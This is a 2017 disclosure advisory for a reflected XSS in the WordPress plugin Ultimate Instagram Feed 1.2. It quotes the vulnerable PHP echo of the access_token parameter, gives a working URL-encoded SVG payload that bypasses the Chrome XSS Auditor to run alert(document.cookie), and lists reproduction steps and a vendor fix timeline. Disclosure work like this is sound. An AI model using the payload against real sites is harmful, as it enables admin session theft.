WordPress Ultimate Instagram Feed 1.2 Cross Site Scripting
Posted on 09 November 2017
------------------------------------------ **Ultimate Instagram Feed* - WordPress plugin* Version: 1.2 Author: OmarK <http://omark.me/> ------------------------------------------ The vulnerability lies in the "*access_token*" parameter and can cause reflected *XSS* vulnerability. The issue is on the file *ultimate-instagram-feed/admin/partials/uif-access-token-display.php* line 19: <input id='uif_access_token' type="text" class="regular-text" name="uif_access_token" value="<?php if(get_option('uif_access_token')){echo get_option('uif_access_token');}elseif(isset($_GET['access_token'])){*echo $_GET['access_token'];*} ?>"> the vulnerable code is the following: *echo $_GET['access_token'];* There is an echo of the variable "access_token", which can be controlled by the user. This leads to reflected XSS vulnerability. The vulnerability can be exploited against an administrator by using the following url: http://victim/wp-admin/admin.php?page=ultimate-instagram-fee d.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3E *Please+Watch+the+video+before+proceeding*%3A%3Cbr%3E%3Cbr%3E%3Csvg+width% 3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2 Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3A *alert%28document.cookie%29%3E* A logged in Administrator, who will click on the above link, he will introduced with a video as presented in the attached PoC picture. When he will click the video, the javascript code (an alert box for this poc) will be executed. In this case, the javascript code is just an alert box with the cookie, however any kind of malicious javascript code can be used. The attacker can gain access to the session cookie and gain access to the wordpress as an admin. *Reproduce*: 1. Login to your wordpress as an admin. 2. Access the following link: http://*yoursite*/wp-admin/admin.php?page=ultimate-instagram-f eed.php&access_token=%22%3E%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+ proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E% 3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+ attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert% 28document.cookie%29%3E 3. You should see the same screen as in my PoC picture. 4. Click to see the video. 5. The alert box should be executed. I used this kind of payload in order to bypass the Chrome XSS Auditor. The vulnerability has been tested against: - Ultimate Instagram Feed Version: 1.2 - WordPress 4.8.3 running Twenty Seventeen theme. - Chrome Version 61.0.3163.100 (Official Build) (64-bit) *Timeline*: 31 Oct 2017: Initial Contact. 31 Oct 2017: Vendor replies and asks for more information. 1 Nov 2017: Details have been provided to the vendor. 2 Nov 2017: WordPress has been informed/WordPress team Requests more information and receives them. 4 Nov 2017: WordPress acknowledges 4 Nov 2017: Vendor releases version 1.3 which fixes the issue. 8 Nov 2017: Public Disclosure ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ gr33tz for the payload @brutelogic ( https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Best regards, Elias Dimopoulos
